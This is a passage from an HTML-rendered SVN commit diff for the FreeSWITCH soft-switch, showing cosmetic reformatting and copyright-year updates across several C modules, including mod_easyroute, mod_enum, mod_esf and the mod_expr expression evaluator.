</span><span class="cx">                         goto done;
</span><span class="cx">                 }
</span><del>-                if (argc != 2){
</del><ins>+                if (argc != 2) {
</ins><span class="cx">                         stream-&gt;write_function(stream, &quot;Number    \tLimit     \tGroup    \tAcctCode  \tDialstring\n&quot;);
</span><del>-                        stream-&gt;write_function(stream, &quot;%-10s\t%-10s\t%-10s\t%-10s\t%s\n&quot;, destnum, results.limit, results.group, results.acctcode, results.dialstring);
</del><ins>+                        stream-&gt;write_function(stream, &quot;%-10s\t%-10s\t%-10s\t%-10s\t%s\n&quot;, destnum, results.limit, results.group, results.acctcode,
+                                                                   results.dialstring);
</ins><span class="cx">                 } else {
</span><span class="cx">                         if (!strncasecmp(argv[1], &quot;dialstring&quot;, 10)) {
</span><span class="cx">                                 stream-&gt;write_function(stream, &quot;%s&quot;, results.dialstring);
</span><span class="lines">@@ -386,12 +388,12 @@
</span><span class="cx">                                 status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">                                 goto done;
</span><span class="cx">                         }
</span><del>-                } 
</del><ins>+                }
</ins><span class="cx">         } else {
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;Invalid Input!\n&quot;);
</span><span class="cx">         }
</span><del>-        
- done:
</del><ins>+
+  done:
</ins><span class="cx">         switch_safe_free(mydata);
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="lines">@@ -400,21 +402,22 @@
</span><span class="cx"> {
</span><span class="cx">         switch_api_interface_t *api_interface;
</span><span class="cx">         switch_application_interface_t *app_interface;
</span><del>-        
</del><ins>+
</ins><span class="cx">         memset(&amp;globals, 0, sizeof(globals));
</span><span class="cx">         load_config();
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* connect my internal structure to the blank pointer passed to me */
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><span class="cx">         SWITCH_ADD_API(api_interface, &quot;easyroute&quot;, &quot;EasyRoute&quot;, easyroute_function, &quot;&quot;);
</span><del>-        SWITCH_ADD_APP(app_interface, &quot;easyroute&quot;, &quot;Perform an easyroute lookup&quot;, &quot;Perform an easyroute lookup&quot;, easyroute_app_function, &quot;&lt;number&gt;&quot;, SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
-        
</del><ins>+        SWITCH_ADD_APP(app_interface, &quot;easyroute&quot;, &quot;Perform an easyroute lookup&quot;, &quot;Perform an easyroute lookup&quot;, easyroute_app_function, &quot;&lt;number&gt;&quot;,
+                                   SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
+
</ins><span class="cx">         /* indicate that the module should continue to be loaded */
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_easyroute_shutdown)
</span><del>-{        
</del><ins>+{
</ins><span class="cx">         switch_odbc_handle_disconnect(globals.master_odbc);
</span><span class="cx">         switch_safe_free(globals.db_username);
</span><span class="cx">         switch_safe_free(globals.db_password);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_enummod_enumc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_enum/mod_enum.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_enum/mod_enum.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_enum/mod_enum.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -251,7 +251,7 @@
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static void free_results(enum_record_t **results)
</del><ins>+static void free_results(enum_record_t ** results)
</ins><span class="cx"> {
</span><span class="cx">         enum_record_t *fp, *rp;
</span><span class="cx"> 
</span><span class="lines">@@ -447,7 +447,7 @@
</span><span class="cx">         free(result);
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static switch_status_t enum_lookup(char *root, char *in, enum_record_t **results)
</del><ins>+static switch_status_t enum_lookup(char *root, char *in, enum_record_t ** results)
</ins><span class="cx"> {
</span><span class="cx">         switch_status_t sstatus = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         char *name = NULL;
</span><span class="lines">@@ -829,7 +829,7 @@
</span><span class="cx"> 
</span><span class="cx">         memset(&amp;globals, 0, sizeof(globals));
</span><span class="cx">         do_load();
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* connect my internal structure to the blank pointer passed to me */
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><span class="cx">         SWITCH_ADD_API(api_interface, &quot;enum&quot;, &quot;ENUM&quot;, enum_function, &quot;&quot;);
</span><span class="lines">@@ -850,7 +850,7 @@
</span><span class="cx">         if (globals.pool) {
</span><span class="cx">                 switch_core_destroy_memory_pool(&amp;globals.pool);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_safe_free(globals.root);
</span><span class="cx">         switch_safe_free(globals.isn_root);
</span><span class="cx"> 
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_esfmod_esfc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_esf/mod_esf.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_esf/mod_esf.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_esf/mod_esf.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -78,10 +78,10 @@
</span><span class="cx">         switch_port_t mcast_control_port = 6061;
</span><span class="cx">         char *mcast_port_str = &quot;34567&quot;;
</span><span class="cx">         const char *esf_broadcast_ip = NULL, *var;
</span><del>-        switch_codec_implementation_t read_impl = {0};
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx">         int mcast_ttl = 1;
</span><span class="cx"> 
</span><del>-    switch_core_session_get_read_impl(session, &amp;read_impl);
</del><ins>+        switch_core_session_get_read_impl(session, &amp;read_impl);
</ins><span class="cx"> 
</span><span class="cx">         if (!zstr((char *) data)) {
</span><span class="cx">                 mydata = switch_core_session_strdup(session, data);
</span><span class="lines">@@ -105,7 +105,7 @@
</span><span class="cx">                 if (!zstr(argv[2])) {
</span><span class="cx">                         mcast_control_port = (switch_port_t) atoi(argv[2]);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!zstr(argv[3])) {
</span><span class="cx">                         mcast_ttl = atoi(argv[3]);
</span><span class="cx">                         if (mcast_ttl &lt; 1 || mcast_ttl &gt; 255) {
</span><span class="lines">@@ -136,7 +136,7 @@
</span><span class="cx">                 goto fail;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if (switch_mcast_hops(socket, (uint8_t)mcast_ttl) != SWITCH_STATUS_SUCCESS) {
</del><ins>+        if (switch_mcast_hops(socket, (uint8_t) mcast_ttl) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Mutlicast TTL set failed\n&quot;);
</span><span class="cx">                 goto fail;
</span><span class="cx">         }
</span><span class="lines">@@ -201,8 +201,7 @@
</span><span class="cx">                                                                          mcast_port,
</span><span class="cx">                                                                          read_impl.ianacode,
</span><span class="cx">                                                                          read_impl.samples_per_packet,
</span><del>-                                                                         read_impl.microseconds_per_packet,
-                                                                         (switch_rtp_flag_t) flags, &quot;soft&quot;, &amp;err, switch_core_session_get_pool(session));
</del><ins>+                                                                         read_impl.microseconds_per_packet, (switch_rtp_flag_t) flags, &quot;soft&quot;, &amp;err, switch_core_session_get_pool(session));
</ins><span class="cx"> 
</span><span class="cx">                 if (!switch_rtp_ready(rtp_session)) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;RTP Error\n&quot;);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_exprconioh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_expr/conio.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_expr/conio.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_expr/conio.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -20,25 +20,24 @@
</span><span class="cx"> 
</span><span class="cx"> #define BLINK 0
</span><span class="cx"> 
</span><del>-typedef enum
-{
-    BLACK,
-    BLUE,
-    GREEN,
-    CYAN,
-    RED,
-    MAGENTA,
-    BROWN,
-    LIGHTGRAY,
-    DARKGRAY,
-    LIGHTBLUE,
-    LIGHTGREEN,
-    LIGHTCYAN,
-    LIGHTRED,
-    LIGHTMAGENTA,
-    YELLOW,
-    WHITE
-} COLORS;
</del><ins>+        typedef enum {
+                BLACK,
+                BLUE,
+                GREEN,
+                CYAN,
+                RED,
+                MAGENTA,
+                BROWN,
+                LIGHTGRAY,
+                DARKGRAY,
+                LIGHTBLUE,
+                LIGHTGREEN,
+                LIGHTCYAN,
+                LIGHTRED,
+                LIGHTMAGENTA,
+                YELLOW,
+                WHITE
+        } COLORS;
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> #define cgets        _cgets
</span><span class="lines">@@ -49,17 +48,16 @@
</span><span class="cx"> 
</span><span class="cx"> /* blinkvideo */
</span><span class="cx"> 
</span><del>-void clreol (void);
-void clrscr (void);
</del><ins>+        void clreol(void);
+        void clrscr(void);
</ins><span class="cx"> 
</span><del>-int _conio_gettext (int left, int top, int right, int bottom,
-                    char *str);
</del><ins>+        int _conio_gettext(int left, int top, int right, int bottom, char *str);
</ins><span class="cx"> /* _conio_kbhit */
</span><span class="cx"> 
</span><del>-void delline (void);
</del><ins>+        void delline(void);
</ins><span class="cx"> 
</span><span class="cx"> /* gettextinfo */
</span><del>-void gotoxy(int x, int y);
</del><ins>+        void gotoxy(int x, int y);
</ins><span class="cx"> /*
</span><span class="cx"> highvideo
</span><span class="cx"> insline
</span><span class="lines">@@ -69,9 +67,9 @@
</span><span class="cx"> normvideo
</span><span class="cx"> */
</span><span class="cx"> 
</span><del>-void gotoxy(int x, int y);
</del><ins>+        void gotoxy(int x, int y);
</ins><span class="cx"> 
</span><del>-void puttext (int left, int top, int right, int bottom, char *str);
</del><ins>+        void puttext(int left, int top, int right, int bottom, char *str);
</ins><span class="cx"> 
</span><span class="cx"> // Screen Variables
</span><span class="cx"> 
</span><span class="lines">@@ -89,19 +87,19 @@
</span><span class="cx"> ScreenVisualBell
</span><span class="cx"> _set_screen_lines */
</span><span class="cx"> 
</span><del>-void _setcursortype (int type);
</del><ins>+        void _setcursortype(int type);
</ins><span class="cx"> 
</span><del>-void textattr (int _attr);
</del><ins>+        void textattr(int _attr);
</ins><span class="cx"> 
</span><del>-void textbackground (int color);
</del><ins>+        void textbackground(int color);
</ins><span class="cx"> 
</span><del>-void textcolor (int color);
</del><ins>+        void textcolor(int color);
</ins><span class="cx"> 
</span><span class="cx"> /* textmode */
</span><span class="cx"> 
</span><del>-int wherex (void);
</del><ins>+        int wherex(void);
</ins><span class="cx"> 
</span><del>-int wherey (void);
</del><ins>+        int wherey(void);
</ins><span class="cx"> 
</span><span class="cx"> /* window */
</span><span class="cx"> 
</span><span class="lines">@@ -135,27 +133,26 @@
</span><span class="cx">  *
</span><span class="cx">  */
</span><span class="cx"> 
</span><del>-char*        _cgets (char*);
-int        _cprintf (const char*, ...);
-int        _cputs (const char*);
-int        _cscanf (char*, ...);
</del><ins>+        char *_cgets(char *);
+        int _cprintf(const char *, ...);
+        int _cputs(const char *);
+        int _cscanf(char *, ...);
</ins><span class="cx"> 
</span><del>-int        _getch (void);
-int        _getche (void);
-int        _kbhit (void);
-int        _putch (int);
-int        _ungetch (int);
</del><ins>+        int _getch(void);
+        int _getche(void);
+        int _kbhit(void);
+        int _putch(int);
+        int _ungetch(int);
</ins><span class="cx"> 
</span><span class="cx"> 
</span><del>-int        getch (void);
-int        getche (void);
-int        kbhit (void);
-int        putch (int);
-int        ungetch (int);
</del><ins>+        int getch(void);
+        int getche(void);
+        int kbhit(void);
+        int putch(int);
+        int ungetch(int);
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> #ifdef __cplusplus
</span><span class="cx"> }
</span><span class="cx"> #endif
</span><del>-
-#endif /* _CONIO_H_ */
</del><ins>+#endif                                                        /* _CONIO_H_ */
</ins></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_exprexprevalh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_expr/expreval.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_expr/expreval.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_expr/expreval.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -19,7 +19,7 @@
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> /* Define type of data to use */
</span><del>-typedef double EXPRTYPE;
</del><ins>+        typedef double EXPRTYPE;
</ins><span class="cx"> 
</span><span class="cx"> /* Defines for various things */
</span><span class="cx"> 
</span><span class="lines">@@ -27,101 +27,96 @@
</span><span class="cx"> #define EXPR_MAXIDENTSIZE 255
</span><span class="cx"> 
</span><span class="cx"> /* Error values */
</span><del>-enum
-    {
-    EXPR_ERROR_UNKNOWN = -1, /* Unknown error */
-    EXPR_ERROR_NOERROR = 0, /* No Error */
-    EXPR_ERROR_MEMORY, /* Memory allocation failed */
-    EXPR_ERROR_NULLPOINTER, /* Null pointer passed to function */
-    EXPR_ERROR_NOTFOUND, /* Item not found in a list */
-    EXPR_ERROR_UNMATCHEDCOMMENT, /* Unmatched comment tags */
-    EXPR_ERROR_INVALIDCHAR, /* Invalid characters in expression */
-    EXPR_ERROR_ALREADYEXISTS, /* An item already called create */
-    EXPR_ERROR_ALREADYPARSEDBAD, /* Expression parsed already, but unsuccessfully. call free or clear */
-    EXPR_ERROR_ALREADYPARSEDGOOD, /* Expression parsed already, successfully, call free or clear */
-    EXPR_ERROR_EMPTYEXPR, /* Empty expression string passed to parse */
-    EXPR_ERROR_UNMATCHEDPAREN, /* Unmatched parenthesis */
-    EXPR_ERROR_SYNTAX, /* Syntax error in expression */
-    EXPR_ERROR_MISSINGSEMICOLON, /* Missing semicolon at end of expression */
-    EXPR_ERROR_BADIDENTIFIER, /* Identifier was to big or not formed right */
-    EXPR_ERROR_NOSUCHFUNCTION, /* Function does not exist in function list */
-    EXPR_ERROR_BADNUMBERARGUMENTS, /* Bad number of arguments in a function call */
-    EXPR_ERROR_BADEXPR, /* This is a bad expression to evaluate. It has not been parsed or has unsuccessfully */
-    EXPR_ERROR_UNABLETOASSIGN, /* Unable to do an assignment, maybe no variable list */
-    EXPR_ERROR_DIVBYZERO, /* Attempted a division by zero */
-    EXPR_ERROR_NOVARLIST, /* No variable list found but one is needed */
-    EXPR_ERROR_BREAK, /* Expression was broken by break function */
-    EXPR_ERROR_CONSTANTASSIGN, /* Assignment to a constant */
-    EXPR_ERROR_REFCONSTANT, /* Constant used as a reference parameter */
-    EXPR_ERROR_OUTOFRANGE, /* A bad value was passed to a function */
</del><ins>+        enum {
+                EXPR_ERROR_UNKNOWN = -1,        /* Unknown error */
+                EXPR_ERROR_NOERROR = 0,        /* No Error */
+                EXPR_ERROR_MEMORY,                /* Memory allocation failed */
+                EXPR_ERROR_NULLPOINTER,        /* Null pointer passed to function */
+                EXPR_ERROR_NOTFOUND,        /* Item not found in a list */
+                EXPR_ERROR_UNMATCHEDCOMMENT,        /* Unmatched comment tags */
+                EXPR_ERROR_INVALIDCHAR,        /* Invalid characters in expression */
+                EXPR_ERROR_ALREADYEXISTS,        /* An item already called create */
+                EXPR_ERROR_ALREADYPARSEDBAD,        /* Expression parsed already, but unsuccessfully. call free or clear */
+                EXPR_ERROR_ALREADYPARSEDGOOD,        /* Expression parsed already, successfully, call free or clear */
+                EXPR_ERROR_EMPTYEXPR,        /* Empty expression string passed to parse */
+                EXPR_ERROR_UNMATCHEDPAREN,        /* Unmatched parenthesis */
+                EXPR_ERROR_SYNTAX,                /* Syntax error in expression */
+                EXPR_ERROR_MISSINGSEMICOLON,        /* Missing semicolon at end of expression */
+                EXPR_ERROR_BADIDENTIFIER,        /* Identifier was to big or not formed right */
+                EXPR_ERROR_NOSUCHFUNCTION,        /* Function does not exist in function list */
+                EXPR_ERROR_BADNUMBERARGUMENTS,        /* Bad number of arguments in a function call */
+                EXPR_ERROR_BADEXPR,                /* This is a bad expression to evaluate. It has not been parsed or has unsuccessfully */
+                EXPR_ERROR_UNABLETOASSIGN,        /* Unable to do an assignment, maybe no variable list */
+                EXPR_ERROR_DIVBYZERO,        /* Attempted a division by zero */
+                EXPR_ERROR_NOVARLIST,        /* No variable list found but one is needed */
+                EXPR_ERROR_BREAK,                /* Expression was broken by break function */
+                EXPR_ERROR_CONSTANTASSIGN,        /* Assignment to a constant */
+                EXPR_ERROR_REFCONSTANT,        /* Constant used as a reference parameter */
+                EXPR_ERROR_OUTOFRANGE,        /* A bad value was passed to a function */
</ins><span class="cx"> 
</span><del>-    EXPR_ERROR_USER /* Custom errors should be larger than this */
-    };
</del><ins>+                EXPR_ERROR_USER                        /* Custom errors should be larger than this */
+        };
</ins><span class="cx"> 
</span><span class="cx"> /* Macros */
</span><span class="cx"> 
</span><span class="cx"> /* Forward declarations */
</span><del>-typedef struct _exprNode exprNode;
-typedef struct _exprFuncList exprFuncList;
-typedef struct _exprValList exprValList;
-typedef struct _exprObj exprObj;
</del><ins>+        typedef struct _exprNode exprNode;
+        typedef struct _exprFuncList exprFuncList;
+        typedef struct _exprValList exprValList;
+        typedef struct _exprObj exprObj;
</ins><span class="cx"> 
</span><span class="cx"> /* Function types */
</span><del>-typedef int (*exprFuncType)(exprObj *obj, exprNode *nodes, int nodecount, EXPRTYPE **refs, int refcount, EXPRTYPE *val);
-typedef int (*exprBreakFuncType)(exprObj *obj);
</del><ins>+        typedef int (*exprFuncType) (exprObj * obj, exprNode * nodes, int nodecount, EXPRTYPE ** refs, int refcount, EXPRTYPE * val);
+        typedef int (*exprBreakFuncType) (exprObj * obj);
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> /* Functions */
</span><span class="cx"> 
</span><span class="cx"> /* Version information function */
</span><del>-void exprGetVersion(int *major, int *minor);
</del><ins>+        void exprGetVersion(int *major, int *minor);
</ins><span class="cx"> 
</span><span class="cx"> /* Functions for function lists */
</span><del>-int exprFuncListCreate(exprFuncList **flist);
-int exprFuncListAdd(exprFuncList *flist, char *name, exprFuncType ptr, int min, int max, int refmin, int refmax);
-int exprFuncListFree(exprFuncList *flist);
-int exprFuncListClear(exprFuncList *flist);
-int exprFuncListInit(exprFuncList *flist);
</del><ins>+        int exprFuncListCreate(exprFuncList ** flist);
+        int exprFuncListAdd(exprFuncList * flist, char *name, exprFuncType ptr, int min, int max, int refmin, int refmax);
+        int exprFuncListFree(exprFuncList * flist);
+        int exprFuncListClear(exprFuncList * flist);
+        int exprFuncListInit(exprFuncList * flist);
</ins><span class="cx"> 
</span><span class="cx"> /* Functions for value lists */
</span><del>-int exprValListCreate(exprValList **vlist);
-int exprValListAdd(exprValList *vlist, char *name, EXPRTYPE val);
-int exprValListSet(exprValList *vlist, char *name, EXPRTYPE val);
-int exprValListGet(exprValList *vlist, char *name, EXPRTYPE *val);
-int exprValListAddAddress(exprValList *vlist, char *name, EXPRTYPE *addr);
-int exprValListGetAddress(exprValList *vlist, char *name, EXPRTYPE **addr);
-void *exprValListGetNext(exprValList *vlist, char **name, EXPRTYPE *value, EXPRTYPE** addr, void *cookie);
-int exprValListFree(exprValList *vlist);
-int exprValListClear(exprValList *vlist);
-int exprValListInit(exprValList *vlist);
</del><ins>+        int exprValListCreate(exprValList ** vlist);
+        int exprValListAdd(exprValList * vlist, char *name, EXPRTYPE val);
+        int exprValListSet(exprValList * vlist, char *name, EXPRTYPE val);
+        int exprValListGet(exprValList * vlist, char *name, EXPRTYPE * val);
+        int exprValListAddAddress(exprValList * vlist, char *name, EXPRTYPE * addr);
+        int exprValListGetAddress(exprValList * vlist, char *name, EXPRTYPE ** addr);
+        void *exprValListGetNext(exprValList * vlist, char **name, EXPRTYPE * value, EXPRTYPE ** addr, void *cookie);
+        int exprValListFree(exprValList * vlist);
+        int exprValListClear(exprValList * vlist);
+        int exprValListInit(exprValList * vlist);
</ins><span class="cx"> 
</span><span class="cx"> /* Functions for expression objects */
</span><del>-int exprCreate(exprObj **obj, exprFuncList *flist, exprValList *vlist, exprValList *clist,
-    exprBreakFuncType breaker, void *userdata);
-int exprFree(exprObj *obj);
-int exprClear(exprObj *obj);
-int exprParse(exprObj *obj, char *expr);
-int exprEval(exprObj *obj, EXPRTYPE *val);
-int exprEvalNode(exprObj *obj, exprNode *nodes, int curnode, EXPRTYPE *val);
-exprFuncList *exprGetFuncList(exprObj *obj);
-exprValList *exprGetVarList(exprObj *obj);
-exprValList *exprGetConstList(exprObj *obj);
-exprBreakFuncType exprGetBreakFunc(exprObj *obj);
-int exprGetBreakResult(exprObj *obj);
-void* exprGetUserData(exprObj *obj);
-void exprSetUserData(exprObj *obj, void *userdata);
-void exprSetBreakCount(exprObj *obj, int count);
-void exprGetErrorPosition(exprObj *obj, int *start, int *end);
</del><ins>+        int exprCreate(exprObj ** obj, exprFuncList * flist, exprValList * vlist, exprValList * clist, exprBreakFuncType breaker, void *userdata);
+        int exprFree(exprObj * obj);
+        int exprClear(exprObj * obj);
+        int exprParse(exprObj * obj, char *expr);
+        int exprEval(exprObj * obj, EXPRTYPE * val);
+        int exprEvalNode(exprObj * obj, exprNode * nodes, int curnode, EXPRTYPE * val);
+        exprFuncList *exprGetFuncList(exprObj * obj);
+        exprValList *exprGetVarList(exprObj * obj);
+        exprValList *exprGetConstList(exprObj * obj);
+        exprBreakFuncType exprGetBreakFunc(exprObj * obj);
+        int exprGetBreakResult(exprObj * obj);
+        void *exprGetUserData(exprObj * obj);
+        void exprSetUserData(exprObj * obj, void *userdata);
+        void exprSetBreakCount(exprObj * obj, int count);
+        void exprGetErrorPosition(exprObj * obj, int *start, int *end);
</ins><span class="cx"> 
</span><span class="cx"> /* Other useful routines */
</span><del>-int exprValidIdent(char *name);
</del><ins>+        int exprValidIdent(char *name);
</ins><span class="cx"> 
</span><span class="cx"> /* Name mangling */
</span><span class="cx"> #ifdef __cplusplus
</span><span class="cx"> }
</span><span class="cx"> #endif
</span><del>-
-
-
-#endif /* __BAVII_EXPREVAL_H */
</del><ins>+#endif                                                        /* __BAVII_EXPREVAL_H */
</ins></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_exprexprilfsh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_expr/exprilfs.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_expr/exprilfs.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_expr/exprilfs.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -38,1027 +38,910 @@
</span><span class="cx"> 
</span><span class="cx"> /* abs */
</span><span class="cx"> case EXPR_NODEFUNC_ABS:
</span><del>-    {
-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</del><ins>+{
+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        {
-        if(d1 &gt;= 0)
-            *val = d1;
-        else
-            *val = -d1;
-        }
-    else
-        return err;
</del><ins>+        if (!err) {
+                if (d1 &gt;= 0)
+                        *val = d1;
+                else
+                        *val = -d1;
+        } else
+                return err;
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+        break;
+}
</ins><span class="cx"> 
</span><span class="cx"> /* mod */
</span><span class="cx"> case EXPR_NODEFUNC_MOD:
</span><del>-    {
-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</del><ins>+{
+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, &amp;d2);
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, &amp;d2);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        {
-        EXPR_RESET_ERR();
-        *val = fmod(d1, d2);
-        EXPR_CHECK_ERR();
-        }
-    else
-        return err;
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                *val = fmod(d1, d2);
+                EXPR_CHECK_ERR();
+        } else
+                return err;
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+        break;
+}
</ins><span class="cx"> 
</span><span class="cx"> /* ipart */
</span><span class="cx"> case EXPR_NODEFUNC_IPART:
</span><del>-    {
-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</del><ins>+{
+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        {
-        EXPR_RESET_ERR();
-        modf(d1, val);
-        EXPR_CHECK_ERR();
-        }
-    else
-        return err;
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                modf(d1, val);
+                EXPR_CHECK_ERR();
+        } else
+                return err;
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+        break;
+}
</ins><span class="cx"> 
</span><span class="cx"> /* fpart */
</span><span class="cx"> case EXPR_NODEFUNC_FPART:
</span><del>-    {
-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</del><ins>+{
+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        {
-        EXPR_RESET_ERR();
-        *val = modf(d1, &amp;d2);
-        EXPR_CHECK_ERR();
-        }
-    else
-        return err;
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                *val = modf(d1, &amp;d2);
+                EXPR_CHECK_ERR();
+        } else
+                return err;
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+        break;
+}
</ins><span class="cx"> 
</span><span class="cx"> /* min */
</span><span class="cx"> case EXPR_NODEFUNC_MIN:
</span><del>-    {
-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</del><ins>+{
+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        {
-        for(pos = 1; pos &lt; nodes-&gt;data.function.nodecount; pos++)
-            {
-            err = exprEvalNode(obj, nodes-&gt;data.function.nodes, pos, &amp;d2);
-            if(!err)
-                {
-                if(d2 &lt; d1)
-                    d1 = d2;
-                }
-            else
-                return err;
-            }
-        }
-    else
-        return err;
</del><ins>+        if (!err) {
+                for (pos = 1; pos &lt; nodes-&gt;data.function.nodecount; pos++) {
+                        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, pos, &amp;d2);
+                        if (!err) {
+                                if (d2 &lt; d1)
+                                        d1 = d2;
+                        } else
+                                return err;
+                }
+        } else
+                return err;
</ins><span class="cx"> 
</span><del>-    *val = d1;
</del><ins>+        *val = d1;
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+        break;
+}
</ins><span class="cx"> 
</span><span class="cx"> /* max */
</span><span class="cx"> case EXPR_NODEFUNC_MAX:
</span><del>-    {
-    int tmppos;
</del><ins>+{
+        int tmppos;
</ins><span class="cx"> 
</span><del>-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</del><ins>+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        {
-        for(tmppos = 1; tmppos &lt; nodes-&gt;data.function.nodecount; tmppos++)
-            {
-            err = exprEvalNode(obj, nodes-&gt;data.function.nodes, tmppos, &amp;d2);
-            if(!err)
-                {
-                if(d2 &gt; d1)
-                    d1 = d2;
-                }
-            else
-                return err;
-            }
-        }
-    else
-        return err;
</del><ins>+        if (!err) {
+                for (tmppos = 1; tmppos &lt; nodes-&gt;data.function.nodecount; tmppos++) {
+                        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, tmppos, &amp;d2);
+                        if (!err) {
+                                if (d2 &gt; d1)
+                                        d1 = d2;
+                        } else
+                                return err;
+                }
+        } else
